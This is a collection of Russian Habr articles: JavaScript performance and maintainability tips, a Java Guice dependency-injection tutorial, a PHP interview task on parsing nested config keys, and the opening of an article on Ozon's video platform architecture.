«Рваная» прокрутка — это явный признак того, что на странице выполняются какие-то программные действия. В некоторых случая браузер вынужден ждать из-за того, что на странице имеются некие прослушиватели событий. Так, события, такие, как `wheel` или `touchmove` могут отменять прокрутку, в результате страница вынуждена ждать до тех пор, пока событие завершится перед тем, как начнётся стандартное поведение прокрутки.
Это может привести к скачкам при прокрутке страницы и к её непостоянной скорости, что вызывает у пользователей плохие впечатления от работы со страницей.
```
document.addEventListener('touchmove', handler, {passive: true});
```
Для того, чтобы этого избежать, добавляя прослушиватель событий, передавайте ему, в качестве третьего параметра, объект со свойством `passive`, установленным в значение `true`. Браузер, работая с подобным событием, может считать, что оно не затрагивает скроллинг, в результате прокрутка страницы может начаться без ненужных задержек.
Третий параметр заменяет опцию `useCapture` в старых браузерах, поэтому, прежде чем применять тот или иной подход, надо проверить, что именно поддерживает браузер. Для того, чтобы намеренно отключить взаимодействие некоей области с пользователем, в большинстве браузеров можно использовать `touch-action: none` в CSS.
### ▍Дросселирование событий
События, вроде скроллинга или изменения размера элемента, возникают так быстро, как это возможно, для того, чтобы все прослушиватели получали актуальные данные. Если при обработке каждого события производятся какие-то ресурсоёмкие операции, это может быстро привести к «зависанию» страницы.
```
const resizeDebounce = debounce(() => {
// Код для обработки события изменения размера }, 200);
window.addEventListener('resize', resizeDebounce);
```
Устранение «дребезга» событий — это методика, которая позволяет снизить частоту вызова функций обработки событий, возникающих слишком часто. Реализация этого механизма, а также частота вызова функций в разных проектах варьируются, однако, можно заметить, что уменьшение частоты обработки событий до пяти раз в секунду, например, приводит к немедленному улучшению производительности страницы.
### ▍Видимая область страницы
Типичный способ использования событий скроллинга заключается в обнаружении того, когда некий элемент окажется видимым на странице. Даже с использованием техники устранения «дребезга», вызов `getBoundingClientRect()` требует от браузера анализа раскладки всей страницы. Существует новое браузерное API, которое называется `IntersectionObserver`, сообщающее об изменении состояния элементов, за которыми наблюдают его средствами, вызывая заданную функцию каждый раз, когда они входят в область просмотра или покидают её. Для страниц с бесконечным скроллингом это API можно применять для того, чтобы помечать устаревшие визуальные элементы как подходящие для удаления или повторного использования.
API `IntersectionObserver` доступно во всех свежих браузерах за исключением Safari. При этом разница между использованием новой методики работы с областью просмотра страницы и старых подходов к определению видимости элементов весьма заметна.
### ▍Выделение ресурсоёмких операций в отдельные потоки
При работе с большими наборами данных или в ходе обработки больших файлов, таких, как изображения, JavaScript может заблокировать окно браузера. По умолчанию все задачи выполняются в единственном потоке, поэтому, если этот поток окажется перегруженным, интерфейс приложения перестанет реагировать на воздействия пользователя.
Если вы знаете, что на выполнение некоей операции потребуется много времени, неплохо будет задуматься о вынесении её в веб-воркер. Так называются скрипты, которые выполняются в отдельных потоках, при этом, даже если эти скрипты выполняют ресурсоёмкие операции, пользовательский интерфейс веб-приложения продолжает работать. Подобные скрипты могут передавать друг другу данные с использованием специального механизма обмена сообщениями. У веб-воркеров нет доступа к DOM и к некоторым свойствам объекта `window`, механизмы обмена сообщениями используются и для передачи в главный поток данных, которые могут подействовать на интерфейс.
Вопрос №12. Как писать JS-код, который не потеряет актуальности со временем?
----------------------------------------------------------------------------
Один из базовых принципов JavaScript заключается в том, что в ходе его развития в него стараются не вносить, если это осуществимо, изменений, которые делают невозможным выполнение кода, написанного для его предыдущих версий. В результате, например, практически весь код, написанный сегодня, будет работать и десятилетие спустя, даже учитывая изменчивость мира веб-разработки.
Однако, то, что некий фрагмент кода выполняется, не значит, что он со временем не потеряет актуальности. Тут впору задаться вопросом о том, как будет смотреться через несколько лет то, что вы пишете сегодня. Вот несколько рекомендаций, которые позволят вам создавать программы, готовые к испытанию будущим.
### ▍Избегайте спагетти-кода
На начальных стадиях работы над неким проектом может показаться привлекательной идея, так сказать, «валить всё в одну кучу», не разбивая код на мелкие, достаточно независимые, части. Хотя при таком подходе легко понять, что делается в том или ином фрагменте кода, это ещё и означает, что функциональные возможности программы тесно связаны друг с другом. Так, если где-то в программе нужно будет то, что реализовано в другой её части, соответствующий участок кода копируют, и, возможно, переписывают с учётом новых потребностей. Если в проект добавляют новую возможность, или в нём обнаруживается ошибка, каждую такую копию, реализующую, по сути, одно и то же, нужно обновлять по-отдельности, что может потребовать немало времени.
Если, с самого начала работы над проектом, стремиться к модульности кода, уже реализованный в нём функционал можно без проблем использовать повторно. Любые изменения в некоем модуле тут же отражаются везде, где к нему обращаются. Такие приёмы программирования, как использование шаблона «модуль», можно применять постепенно, не переписывая весь остальной проект, что упрощает их использование.
### ▍Постарайтесь избежать зависимости проекта от фреймворков
Многие современные фреймворки, вроде React или Polymer, подталкивают разработчиков к разработке модульного кода через создание компонентов. При этом каждый фреймворк предусматривает собственные способы разработки компонентов и организации их взаимодействия.
Что произойдёт, когда на горизонте появится очередной «самый лучший фреймворк»? Перевод проекта на новый фреймворк, или даже на новую версию используемого, может оказаться непростым делом. Для того, чтобы заставить старые компоненты работать в новой среде, может понадобиться немало бесценного времени.
Поэтому везде, где это возможно, стоит, вместо того, чтобы прибегать к фреймворкам, пользоваться обычным JavaScript. При таком подходе при смене фреймворка вышеозначенные проблемы можно свести к минимуму. Если говорить о практической реализации подобного, то, например, перед передачей данных компоненту можно использовать объекты для обработки таких данных.
Кроме того, такой подход способствует написанию универсального кода. Избегая, там, где это возможно, использования браузерных API, код можно сделать пригодным для повторного использования и в браузерных, и в серверных проектах, при условии, что последние основаны на Node.
### ▍Поддерживайте чистоту кода
После того, как модули написаны, их код должен быть не только работоспособным, но и лёгким для восприятия. Чистый код означает, что даже тот, кто видит его впервые, способен этот код понять, что, в частности, способствует облегчению отладки такого кода.
```
let activeUsers = users.filter(user => user.active === true);
```
Среди средств, которые позволяют повысить вероятность того, что в будущем код не потеряет актуальности, можно назвать самодокументирование. В частности, например, использование описательных имён для переменных в итераторах, вместо чего-то вроде `i` и `j`, облегчает чтение соответствующих конструкций.
Кроме того, и это очень важно, нужно всеми силами стремиться к единообразию кода. Если весь проект написан с использованием единого стиля, с ним гораздо легче работать. Поэтому перед работой над проектом стоит разработать руководство по стилю и подобрать инструменты, вроде ESLint, которые помогут этого стиля придерживаться.
### ▍Разрабатывайте проекты с учётом их возможного роста
Код, с которым будет удобно работать, должен быть хорошо читаемым. Похожие идеи можно распространить и на структуру проекта. Если, при работе над проектом, не придерживаться разумных правил его структурирования, очень скоро управлять таким проектом будет очень непросто.
Если, в самом начале разработки, все файлы находятся в одной папке, это упрощает дело. Например, когда скрипты импортируют модули, не нужно думать о том, где именно находятся источники этих модулей.
Однако, по мере роста проекта, число файлов в его папке будет увеличиваться, что в итоге затруднит работу. Поэтому стоит, с самого начала, поддерживать структуру проекта, которая хорошо масштабируется. Например, все модули, которые отвечают за взаимодействие с пользователями, можно хранить в папке `users`, и так далее. Тут, конечно, нельзя дать универсальной рекомендации, подходящей для проектов всех типов. Скажем, при создании одностраничных приложений необходимо разделять логику моделей, видов и контроллеров. Однако, в другой ситуации может понадобиться что-то иное. Структура — это не навязываемая «сверху» жёсткая конструкция, а естественное отражение особенностей каждой конкретной разработки.
### ▍Пишите код, который пригоден для тестирования
*Периодически выполняйте тесты с помощью средства вроде Jest для того, чтобы убедиться в том, что всё работает как надо*
Использование фреймворков вроде React способствует созданию маленьких компонентов, подходящих для повторного использования. Однако, даже при использовании грамотной структуры проекта, может быть непросто проверить, что в ходе развития этого проекта все его части работают именно так, как ожидается. Чем лучше код проекта покрыт тестами — тем больше вероятность того, что, когда дело дойдёт до перехода этого проекта из стадии разработки в стадию практического использования, всё будет работать правильно.
Модульные тесты работают на уровне модулей. Инструменты вроде Mocha и Jest позволяют разработчикам проверять программы, задавая некие входные данные и ожидаемую реакцию системы на подачу в неё этих данных. Периодическое выполнение подобных тестов позволяет удостовериться в правильности работы программы и в отсутствии побочных эффектов при её выполнении.
Модули нужно писать так, чтобы их можно было протестировать в изоляции от остальных частей системы. Это означает, что у каждого из них должно быть как можно меньше внешних зависимостей, и то, что они не должны полагаться на некое глобальное состояние проекта.
Существуют, конечно, и другие подходы к тестированию программных проектов. В частности, это интеграционное и функциональное тестирование. Чем полнее подобные тесты охватывают проект — тем лучше перспективы такого проекта в будущем.
### ▍О языке завтрашнего дня
*Обеспечьте работоспособность вашего кода в устаревших браузерах с использованием транспилятора вроде Babel*
Стоить отметить, что лучший способ обеспечить актуальность кода в будущем — это писать его с использованием синтаксических конструкций будущего. Хотя звучать это может странновато, вроде призыва к «прыжку в неизвестное», существуют инструменты, которые, без особых сложностей, позволяют такой прыжок совершить.
Вот, например, транспилятор Babel — инструмент, который умеет конвертировать одни формы JavaScript в другие. Он применяется для преобразования современного кода в формат, который понимают даже не самые современные браузеры и другие среды выполнения JS.
ES2015 принёс в мир JS массу возможностей, которые способствуют написанию чистого, понятного кода. Среди них — стрелочные функции, промисы и встроенная поддержка модулей. Самый свежий стандарт языка, ES2017, даёт разработчику ещё больше удобств, благодаря, например, асинхронным функциям. Babel, при условии его правильной настройки, способен конвертировать всё это в код, который можно использовать уже сегодня.
В конечном счёте, по мере внедрения в среды выполнения JS новых стандартов, проекты смогут обходиться и без шага транспиляции, однако, для того, чтобы оставаться как можно более актуальными в будущем, они должны уже сегодня использовать инструменты завтрашнего дня.
Итоги
-----
Сегодня мы рассмотрели двенадцать вопросов и ответов по JavaScript, многие из которых охватывают достаточно обширные пространства веб-разработки и направлены на то, чтобы привлечь внимание программистов к таким вещам, которые, в повседневной рутине, могут годами оставаться незамеченными. Надеемся, идеи, озвученные в этом материале, помогут вам улучшить ваши разработки.
**Уважаемые читатели!** В последнее время много говорят о том, что JS-проекты, по возможности, надо писать так, чтобы они как можно меньше зависели от фреймворков. Как по-вашему, стоит ли к этому стремиться? | https://habr.com/ru/post/346022/ | null | ru | null |
# Guice всемогущий: assistedinject, multibindings, generics
В последнее время чаще стал встречать команды, которые используют **Guice** в качестве **DI** фреймворка. Стал его бояться (слезать с любимого **Spring**!?), и, как это обычно в жизни и бывает, страхи мои материализовались — я попал на проект, на котором активно используется **Guice**…
В интернете уже накопилось изрядное количество публикаций (в том числе и русскоязычных) по данному фреймворку, что не может не радовать. Однако, на проекте я столкнулся с ситуацией, готовое решение для которой мне не удалось найти.
В статье я в очередной раз покажу практическое использование **Guice** и некоторых его *extensions*: **assistedinject**, **mutibindings** , а также работу с **generics**. Сначала я опишу суть задачи, а затем итеративно приду к ее решению. Подразумеваю у читателя наличие базовых представлений о фреймворке и о **DI** в целом, поэтому опущу основы. Тем более, есть отличная [документация](https://github.com/google/guice/wiki/GettingStarted).
Исходный код проекта и историю его итераций можно найти на [гитхабе](https://github.com/Blackmorse/Guice-Extensions).
1. Обработчик запросов
----------------------
Ситуация следующая. Представьте, что нам прилетает запрос (например, по **REST**) с параметром, на основании которого нужно создавать исполнителя этого запроса, и с аргументом, который будут использован исполнителем для его дальнейшей работы.
```
public class Request {
public String parameter;
public int argument;
}
```
Исполнителей *Worker* у нас много (целая иерархия) и каждому для выполнения его работы нужны зависимости в виде сервисов, причем наборы зависимостей могут отличаться для разных исполнителей. Рассмотрим это на примере простой иерархии из абстрактного класса и двух наследников. На деле, конечно, это должно работать для любого **N**.
В соответствие с этим, прототип *Worker*:
```
public abstract class Worker{
protected final int argument;
public Worker(int argument) {
this.argument = argument;
}
public abstract void doWork();
}
```
Сами реализации *Worker*:
```
public class Worker1 extends Worker {
private ServiceA serviceA;
private ServiceB serviceB;
public Worker1(ServiceA serviceA, ServiceB serviceB, int argument) {
super(argument);
this.serviceA = serviceA;
this.serviceB = serviceB;
}
@Override
public void doWork() {
System.out.println(String.format("Worker1 starts work with argument %d services %s and %s", argument, serviceA, serviceB));
}
}
public class Worker2 extends Worker {
private ServiceB serviceB;
private ServiceC serviceC;
public Worker2(ServiceB serviceB, ServiceC serviceC, int argument) {
super(argument);
this.serviceB = serviceB;
this.serviceC = serviceC;
}
@Override
public void doWork() {
System.out.println(String.format("Worker2 starts work with argument %d services %s and %s", argument, serviceB, serviceC));
}
}
```
### Простая реализация обработчика
Когда я первый раз увидел код обработчика, он выглядел примерно следующим образом:
```
public class RequestHandler {
private final ServiceA serviceA;
private final ServiceB serviceB;
private final ServiceC serviceC;
public RequestHandler(ServiceA serviceA,
ServiceB serviceB,
ServiceC serviceC) {
this.serviceA = serviceA;
this.serviceB = serviceB;
this.serviceC = serviceC;
}
public void handleRequest(Request request) {
Worker worker = null;
if (request.parameter.equals("case1")) {
worker = new Worker1(request.argument);
} else if (request.parameter.equals("case2")) {
worker = new Worker2(request.argument);
}
//Здесь и далее не буду добавлять проверки на корректность входного
//параметра, чтобы не загромождать код
worker.setServiceA(serviceA);
worker.setServiceB(serviceB);
worker.setServiceC(serviceC);
worker.doWork();
}
}
```
Чем такой подход плох? Попробую сформировать небольшой список недостатков этого кода:
* сразу бросается в глаза внедрение зависимостей через **set**\*-методы. Пришлось добавить эти методы в абстрактный класс;
* значит, и все три зависимости на *ServiceA*, *ServiceB* и *ServiceC* переехали «наверх» в абстрактный класс. Но ему совершенно необязательно знать о сервисах, это дело его наследников. К примеру, *Worker1* абсолютно не нуждается в *ServiceC*;
* **if — else if**-структура. Она будет очень страшно выглядеть при увеличении количества наследников в иерархии *Worker*;
* передача зависимостей в конструктор обработчика. Сам обработчик запросов об этих зависимостях не должен знать — они ему ни к чему. Нужны они только самим экземплярам *Worker* непосредственно,
* Слишком много ответственностей для класса *RequestHandler*: он умеет маппить запрос на нужный *Worker*, создавать его и проставлять зависимости. В идеале (согласно принципам [SOLID](https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5))) хочется следовать парадигме «Один класс — одна ответственность».
Лично для себя я подытожил так: хочется перевести *Worker*'ы на **Guice**!
2. Подключаем Guice
-------------------
Первым делом, добавляем зависимость **Maven** в *pom.xml*:
```
com.google.inject
guice
${guice.version}
```
Последняя версия **Guice** на момент написания статьи — 4.2.0.
Я обещал двигаться итеративно, поэтому для начала упростим задачу. Пускай у нас нет никаких аргументов в *Request*. *Worker* — предельно простой класс с парой зависимостей в виде сервисов. Т.е. абстрактный класс предельно прост:
```
public abstract class Worker {
public abstract void doWork();
}
```
А его реализации выглядят вот так (реализация *Worker2* выглядит аналогично):
```
public class Worker1 extends Worker{
private ServiceA serviceA;
private ServiceB serviceB;
@Inject
public Worker1(ServiceA serviceA, ServiceB serviceB) {
this.serviceA = serviceA;
this.serviceB = serviceB;
}
@Override
public void doWork() {
System.out.println(String.format("Worker1 starts work with %s and %s", serviceA, serviceB));
}
}
```
Аннотация @**Inject** в данном случае говорит фрейморку, что для создания экземпляра *Worker* нужно использовать помеченный этой аннотацией конструктор, а также во время создания предоставить конструктору все входные параметры. Мы можем не заботиться о том, где взять сервисы, **Guice** все сделает за нас.
*RequestHandler* будет выглядеть следующим образом:
```
@Singleton
public class RequestHandler {
private Provider worker1Provider;
private Provider worker2Provider;
@Inject
public RequestHandler(Provider worker1Provider,
Provider worker2Provider) {
this.worker1Provider = worker1Provider;
this.worker2Provider = worker2Provider;
}
public void handleRequest(Request request) {
Worker worker = null;
if (request.parameter.equals("case1")) {
worker = worker1Provider.get();
} else if (request.parameter.equals("case2")) {
worker = worker2Provider.get();
}
worker.doWork();
}
}
```
Сразу бросается в глаза, что мы избавились от зависимостей на сервисы в этом классе. Вместо этого инжектим *Provider*, типизированный по *Worker*. Из документации:
> Provider — an object capable of providing instances of type T
В данном случае *Provider* — это фабрика, предоставляемая фреймворком **Guice**. После того, как получена зависимость на провайдер, типизированный классом *Worker*, при каждом вызове метода `.get()` получаем новый экземпляр класса *Worker* (если, конечно, *Worker* не объявлен, как **Singleton**).
Заметьте, что *RequestHandler*, в свою очередь, как раз помечен аннотацией @**Singleton**. Это значит, **Guice** позаботится о том, чтобы у нас в приложении не возникало двух экземпляров этого класса.
Запускаем код:
```
public static void main( String[] args ) {
Request request = new Request();
request.parameter = "case1";
request.argument = 5;
Injector injector = Guice.createInjector();
RequestHandler requestHandler = injector.getInstance(RequestHandler.class);
requestHandler.handleRequest(request);
request.parameter = "case2";
requestHandler.handleRequest(request);
}
```
**Результат выполнения**Worker1 starts work with ServiceA and ServiceB
Worker2 starts work with ServiceB and ServiceC
3. Прокидываем аргументы
------------------------
А теперь вернем изначальный вид классов *Worker*. Для этого нужно передать в конструктор новый параметр *argument*:
```
@Inject
public Worker1(ServiceA serviceA, ServiceB serviceB, int argument) {
```
Проблема в том, что при наличии аннотации @**Inject** **Guice** будет предоставлять все параметры, указанные в конструкторе, что мешает передать параметр, формирующийся в *Runtime*.
Конечно, решить эту проблему можно с помощью создания собственной *Factory*:
**Worker Factory**
```
@Singleton
public class WorkerFactory {
private ServiceA serviceA;
private ServiceB serviceB;
private ServiceC serviceC;
@Inject
public WorkerFactory(ServiceA serviceA,
ServiceB serviceB,
ServiceC serviceC) {
this.serviceA = serviceA;
this.serviceB = serviceB;
this.serviceC = serviceC;
}
public Worker1 createWorker1 (int argument) {
return new Worker1(serviceA, serviceB, argument);
}
public Worker2 createWorker2 (int argument) {
return new Worker2(serviceB, serviceC, argument);
}
}
```
Запускаем код точно так же, как показано выше и видим тот же результат.
Подобные фабрики содержат довольно много шаблонного кода: необходимо явно указать все зависимости, которые будут использоваться в создаваемом классе, заинжектить их и явным образом передать в конструктор, вызывая его с помощью оператора **new**. **Guice** позволяет избежать этой рутинной работы с помощью своих расширений.
### Guice AssistedInject
Подключаем зависимость на расширение (*extension*) для **Guice**:
```
com.google.inject.extensions
guice-assistedinject
${guice.version}
```
Теперь вместо того, чтобы писать большой класс *WorkerFactory*, делаем интерфейс с тем же названием:
```
public interface WorkerFactory {
Worker1 createWorker1 (int argument);
Worker2 createWorker2 (int argument);
}
```
Реализацию интерфейса мы писать не будем, это сделает за нас **Guice**! Настраиваем это с помощью *Модуля*:
```
public class Module extends AbstractModule {
@Override
protected void configure() {
install(new FactoryModuleBuilder().implement(Worker1.class, Worker1.class)
.implement(Worker2.class, Worker2.class)
.build(WorkerFactory.class));
}
}
```
Можно смотреть на модуль, как на класс для вспомогательной конфигурации **Guice**. Есть возможность подключать несколько модулей при создании **Injector**, а также можно подключать модули к модулям, что дает возможность создания гибко-настраиваемой и читаемой системы конфигураций.
Для создания фабрики мы использовали **FactoryModuleBuilder**. Из документации:
> FactoryModuleBuilder — provides a factory that combines the caller's arguments with injector-supplied values to construct objects.
У нас появляется возможность комбинировать пользовательские параметры с объектами, предоставляемые **Guice**.
Разберем создание фабрики подробнее:
* метод `build(WorkerFactory.class)` сообщает Guice, что нужно предоставить реализацию фабрики *WorkerFactory*;
* метод *implement* принимает два аргумента:
```
implement (Class source, Class extends T target)
```
*source* — интерфейс возвращаемого значения, *target* — его реализация, которую наша фабрика будет предоставлять;
* В данном случае пришлось явным образом задавать создание *Worker1* и *Worker2*, хотя у них есть общий интерфейс *Worker*. Терпение, на следующем шаге мы это поправим;
* `install(new FactoryModuleBuilder())` — завершаем конфигурацию, добавляя новый модуль к нашему.
Нужно обязательно не забыть сообщить **Guice** о том, какие параметры в конструкторе *Worker* будут прокинуты через фабрику, а какие — оставлены фреймворку на растерзание. Делаем это с помощью аннотации @**Assisted**:
```
@AssistedInject
public Worker1(ServiceA serviceA, ServiceB serviceB, @Assisted int argument)
```
Аннотация @**Assisted** ставится над теми аргументами, которые мы сами предоставим **Guice** из фабрики. Также, обычно над конструктором в таком случае ставится @**AssistedInject** вместо @**Inject**.
Перепишем *RequestHandler*, добавив в него зависимость на *WorkerFactory*:
```
@Singleton
public class RequestHandler {
private WorkerFactory workerFactory;
@Inject
public RequestHandler(WorkerFactory workerFactory) {
this.workerFactory = workerFactory;
}
public void handleRequest(Request request) {
Worker worker = null;
if (request.parameter.equals("case1")) {
worker = workerFactory.createWorker1(request.argument);
} else if (request.parameter.equals("case2")) {
worker = workerFactory.createWorker2(request.argument);
}
worker.doWork();
}
}
```
Остался последний штрих — для поднятия контекста **Guice** должен узнать о нашем модуле. Ничего не меняется, просто для получения *Injector* указываем модуль:
```
Injector injector = Guice.createInjector(new Module());
```
**Результат выполнения**Worker1 starts work with argument 5 services ServiceA and ServiceB
Worker2 starts work with argument 5 services ServiceB and ServiceC
4. Параметризуем Factory
------------------------
Неужели, каждый раз когда у нас будет появляться новый наследник *Worker* придется и добавлять его в интерфейс *WorkerFactory*, и сообщать об этом модулю *Module*?
Попробуем избавиться от этого, сделав параметризацию *WorkerFactory* по *Worker*, а заодно узнаем, как с этим справляется **Guice**.
```
public interface WorkerFactory {
T createWorker (int argument);
}
```
Теперь нужно указать фрейморку **Guice**, что необходимо создать два разных инстанса фабрик — по одной на каждый *Worker*. Только как сделать так, чтобы фабрика была типизирована? Ведь **Java** не позволяет писать такие конструкции: *WorkerFactory.class*
```
public class Module extends AbstractModule{
@Override
protected void configure() {
install(new FactoryModuleBuilder().implement(Worker.class, Worker1.class)
.build(new TypeLiteral>() {}));
install(new FactoryModuleBuilder().implement(Worker.class, Worker2.class)
.build(new TypeLiteral>() {}));
}
}
```
В этот раз в аргументах метода *implement* можем указать то, что и требовала его сигнатура: *Worker* — абстрактный класс, родитель, а *Worker1* или *Worker2* — его наследники, которые будут создаваться соответствующей фабрикой.
Проблему с **generics** мы решили с помощью класса *TypeLiteral*. Из документации **Guice**:
> TypeLiteral — represents a generic type T. Java doesn't yet provide a way to represent generic types, so this class does
Таким образом, раз **Java** не имеет представления о параметризованном классе, **Guice** создал свое.
Обычно вместо аргумента *Class* можно использовать *TypeLiteral*, достаточно просто взглянуть на перегруженные методы. Не забывайте ставить *{}* при создании *TypeLiteral*, так как его конструктор объявлен, как **protected**.
Теперь посмотрим, как подключить зависимости фабрик к *RequestHandler*:
```
@Singleton
public class RequestHandler {
private WorkerFactory worker1Factory;
private WorkerFactory worker2Factory;
@Inject
public RequestHandler(WorkerFactory worker1Factory,
WorkerFactory worker2Factory) {
this.worker1Factory = worker1Factory;
this.worker2Factory = worker2Factory;
}
public void handleRequest(Request request) {
Worker worker = null;
if (request.parameter.equals("case1")) {
worker = worker1Factory.createWorker(request.argument);
} else if (request.parameter.equals("case2")) {
worker = worker2Factory.createWorker(request.argument);
}
worker.doWork();
}
}
```
5. Multibindings
----------------
Итак, мы параметризовали *WorkerFactory*, оставив единый интерфейс для всех фабрик, который не придется расширять при добавлении новых наследников класса **Worker**. Но вместо этого нужно будет каждый раз в *RequestHandler* внедрять новую зависимость на фабрику `WorkerFactory workerNFactory`. Теперь поправим и это, используя расширение **multibindings**. В частности, будем использовать **MapBinder**:
> MapBinder — an API to bind multiple map entries separately, only to later inject them as a complete map.
*MapBinder* позволяет собрать все зависимости вместе в одну мапу, а потом ее разом заинжектить.
Подключаем расширение **multibinings** к проекту:
```
com.google.inject.extensions
guice-multibindings
4.2.0
```
И сразу идем дописывать *Module* — в нем происходит вся магия. Для начала создадим *MapBinder*:
```
MapBinder binder = MapBinder.newMapBinder(binder(), String.class, WorkerFactory.class);
```
Ничего особенного, просто указываем типы маппинга: ставим в соответствие параметру запроса типа *String* нужную фабрику *WorkerFactory*. Осталось реализовать сам маппинг.
Итак, **Guice** с нашей помощью уже создал фабрику для *Worker*:
```
new TypeLiteral>(){}
```
Замапим аргумент на такой же объект. Для этого воспользуемся методами `addBinding()` и `to()`. Обратите внимание на наличие перегруженной версии метода, принимающей *TypeLiteral*. Так будет выглядеть модуль полностью:
```
public class Module extends AbstractModule{
@Override
protected void configure() {
install(new FactoryModuleBuilder().implement(Worker.class, Worker1.class)
.build(new TypeLiteral>() {}));
install(new FactoryModuleBuilder().implement(Worker.class, Worker2.class)
.build(new TypeLiteral>() {}));
MapBinder binder = MapBinder.newMapBinder(binder(), String.class, WorkerFactory.class);
binder.addBinding("case1").to(new TypeLiteral>(){});
binder.addBinding("case2").to(new TypeLiteral>(){});
}
}
```
Все самое интересное уже произошло, осталось только получить *Map* с нужными нам объектами в *RequestHandler*:
```
@Singleton
public class RequestHandler {
private Map workerFactoryMap;
@Inject
public RequestHandler(Map workerFactoryMap) {
this.workerFactoryMap = workerFactoryMap;
}
public void handleRequest(Request request) {
Worker worker = workerFactoryMap.get(request.parameter)
.createWorker(request.argument);
worker.doWork();
}
}
```
Как видите, мы просто делаем @**Inject** мапы с зависимостями, а потом получаем нужную фабрику через метод `get()`.
И всё! Теперь *RequestHandler* ответственен только за создание и запуск *Worker*, а весь маппинг перенесен в модуль. При появлении новых наследников *Worker* нужно будет добавить об этом информацию туда же, больше ничего не меняя.
### Небольшое заключение
В целом скажу, что **Guice** меня приятно удивил за счет своей простоты и, как модно сейчас говорить, «низкого порога вхождения». Зачастую в простых приложениях можно вообще не писать конфигурацию и обойтись одной аннотацией @**Inject**. Для более подробного ознакомления читайте [вики на github](https://github.com/google/guice/wiki). | https://habr.com/ru/post/358278/ | null | ru | null |
# Задача при собеседовании на работу в один крупный шведский сайт
Я — PHP-Developer, живу в Стокгольме. Недавно был на собеседовании в один большой шведский сайт (более миллиарда page views в месяц). Интервью проводили 2 программиста из этой фирмы. В определенном моменте, один из них достал листок бумаги и сказал, что предлагают мне решить небольшую задачку (тут же на бумаге, без компьютера). И что у меня есть 10 мин. Попросили так же комментировать каждый шаг.
Скажу сразу, что я ее не решил. Сначала все вроде просто, а потом… Так что, ушел со встречи не солоно хлебавши. С моей стороны она так и осталась нерешенной.
Зачем публикую это? Во-первых, может кому-то пригодится как хороший тест для нанимаемых разработчиков; во-вторых, кто-то, если встретит нечто подобное, будет уже полон знаний; в-третьих, может кто-нибудь поместит правильное решение в коментах?
Ниже — сама задача. Оставляю все в оригинале, как было.
PHP assignment
Write a function, read\_conf($filename), that converts the configuration below into a multidimensional array.
The configuration is divided up in rows and each row is divided up by key and value. The key can be multidimensional, and can be from 1...N, in the example below we only have 4 levels, but the solution should be able to work even when adding another row with more key levels: eg. session.save.db.master.host=10.0.0.1
===config.txt===
id=www
session.timeout=120
session.server.0.host=127.0.0.1
session.server.0.port=1111
session.server.0.id=session1
session.server.1.host=127.0.0.1
session.server.1.port=1111
session.server.1.id=session2
image.width=640
image.height=480
image.watermark.small=wsmall.png
image.watermark.normal=wnormal.png
===code===
php<br/
$res = read\_conf(«config.txt»);
var\_dump($res);
?>
===output===
`array(3) {
["id"]=>strong(3) "www"
["session"]=>array(2) {
["timeout"]=>string(3) "120"
["server"]=>array(2) {
[0]=>
array(3) {
["host"]=>
string(9) "127.0.0.1"
["post"]=>
string(4) "1111"
["id"]=>
string(8) "session1"
}
[1]=>
array(3) {
["host"]=>
string(9) "127.0.0.1"
["port"]=>
string(4) "1111"
["id"]=>
string(8) "session2"
}
}
}
["image"]=>
array(3) {
["width"]=>
string(3) "640"
["height"]=>
string(3) "480"
["watermark"]=>
array(2) {
["small"]=>
string(10) "wsmall.png"
["normal"]=>
string(11) "wnormal.png"
}
}
}` | https://habr.com/ru/post/116686/ | null | ru | null |
# Один момент: готовим видеоленту без костылей и бубнов
Всем приветы! Меня зовут Ваня, я медиаинженер и занимаюсь разработкой видеоплатформы в Ozon — в основном бэкендом.
В апреле 2022 года мы презентовали сервис Ozon Моменты — ленту коротких видео. Главные фичи, которые мы хотели реализовать:
* скорость отображения контента: видео должно стартовать максимально быстро, а переходы между роликами должны быть максимально бесшовными;
* качество контента: видео должно быть приемлемого качества и хорошо выглядеть;
* размер контента: видеофайл должен быть минимального размера;
* универсальность контента: видео должно воспроизводиться на любом экране, будь то iPhone 69 Pro Max или тостер от Smeg.
Что мы сделали для реализации вот этого всего и на каких дрожжах, читайте под катом.
Из чего состояла видеоплатформа Ozon
------------------------------------
Мы не стали изобретать велосипедов и сделали всё вполне стандартно. На видеоплатформе существует два типа контента:
* VoD (Video on Demand) — видео по запросу, которое уже полностью готово к просмотру;
* Live–видео, которое генерируется реалтайм и ещё не завершилось (видеостримы).
VoD-контент двигается примерно по следующему маршруту:
Схема раздачи VoD-контента через видеоплатформу Ozon1. Пользователь со своим медиаконтентом отправляется к нам на uploader и пробует загрузить некий файл. На данном этапе мы со стороны видеоплатформы проверяем его на базовую валидность и пригодность (медиафайл ли это вообще, что у него внутри и т. п.). Если всё хорошо, отправляем его в хранилище для оригиналов видео (в нашем случае это S3).
2. После завершения загрузки видеоплатформа ставит в очередь обработки задачу на транскодинг принятого контента.
3. Первый освободившийся транскодер забирает задачу из очереди и делает из оригинального файла пригодный для адаптивного просмотра «букет». В него входят видеофайлы для создания адаптивной раздачи (транскодинг в разные качества и сегментация), вспомогательные медиафайлы (превью, обложка и т. п.) и дополнительная информация о контенте. По окончании всех стадий обработки полученный контент улетает на файловый сервер для дальнейшего хранения и раздачи.
4. Как только контент обработан и записан в хранилище, происходит его анализ на наличие запрещённого содержания: алкоголя, сигарет, порнографии, [стороннего контента](https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley).
5. После апрува контент может быть отдан наружу для просмотра. Естественно, передача происходит через кэширующие слои и провайдера CDN.
В случае с live-стримингом контент течёт по пайплайну:
Схема live-стриминга через видеоплатформу Ozon1. Пользователь создаёт в админке стримера новый стрим, под который выделяется отдельный транскодер. Сам стример получает endpoint для стриминга на видеоплатформу.
2. Через приложение для стриминга пользователь запускает поток на выделенный endpoint, который проксирует контент на выделенный транскодер. На стороне транскодера поток преобразуется в адаптивный и сегментируется для раздачи пользователям.
